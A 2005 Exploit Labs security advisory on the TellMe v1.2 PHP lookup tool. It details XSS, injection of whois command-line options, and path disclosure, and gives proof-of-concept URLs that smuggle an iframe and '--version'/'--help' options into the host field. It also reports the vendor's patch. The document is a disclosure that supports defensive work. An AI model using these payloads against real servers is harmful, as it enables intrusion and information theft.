Exploit Labs Security Advisory 2005.15

`------------------------------------------------------------  
- EXPL-A-2005-015 exploitlabs.com Advisory 044 -  
------------------------------------------------------------  
- TellMe -  
  
  
  
  
  
AFFECTED PRODUCTS  
=================  
TellMe v1.2 and earlier  
http://kimihia.org.nz/projects/  
http://kimihia.org.nz/projects/tellme/  
  
  
  
OVERVIEW  
========  
Tellme - get all the lowdown details on an address  
Tellme is used to discern what a computer is running,  
and also to help track down servers.  
It combines together into one place traceroute tools,  
head requests, server examination, and whois lookups.  
  
TellMe is used widely in default Plesk installs as a bundled  
3rd party add on.  
  
  
  
DETAILS  
=======  
1. XSS  
  
TellMe does not properly filter malicious script content.  
XSS my be inserted in the "IP" or "HOST"parameter.  
The malicious script is then rendered and executed in the  
context of the users brower.  
  
  
  
2. command option access  
  
Tellme allows access to comand line options of the whois function via:  
render_Open("WHOIS");  
if ( $q_Host )  
passthru(EscapeShellCmd("whois " . $q_This));  
  
  
  
3. information disclosure  
  
TellMe discloses path information in error output, echoing  
back the full path to the script.  
  
  
  
  
POC  
===  
1.  
------  
by script inclusion in the "q_host" parameter  
http://[host]/tellme/index.php?q_Host=<iframe  
src=http://whatismyip.com></iframe>  
  
  
2.  
------  
by prepending "--*" options to the host entry  
http://[host]/net/index.php?q_IP=&q_Host=--version+test.com&o_WhoIs=on  
http://[host]/net/index.php?q_IP=&q_Host=--help+test.com&o_WhoIs=on  
  
  
3.  
-----  
by prepending "--" to the Server and HEAD options  
http://[host]/net/index.php?q_IP=&q_Host=--+test.com&o_Server=on&o_Head=on  
  
Warning: fsockopen(): unable to connect to --help test.com:80  
in /home/httpd/vhosts/[VHOSTUSER]/httpdocs/net/index.php on line 246  
  
  
  
  
  
SOLUTION:  
=========  
vendor contact:  
Sept 29, 2005  
[email protected] ( returned )  
http://kimihia.org.nz/about/feedback/  
  
Vendor response:  
Oct 4, 2005  
  
The author has released an updated version and a diff patch, available at:  
  
Here is the new version:  
http://kimihia.org.nz/projects/tellme/files/tellme-1.3_php3.txt  
  
Here is a diff:  
http://kimihia.org.nz/projects/tellme/files/tellme-1.2-1.3.diff  
  
Here is the new README:  
http://kimihia.org.nz/projects/tellme/files/tellme.txt  
  
  
  
  
  
Credits  
=======  
This vulnerability was discovered and researched by  
Donnie Werner of exploitlabs  
  
  
mail: wood at exploitlabs.com  
mail: morning_wood at zone-h.org  
--   
web: http://exploitlabs.com  
web: http://zone-h.org  
  
orig: http://exploitlabs.com/files/advisories/EXPL-A-2005-015-tellme.txt  
`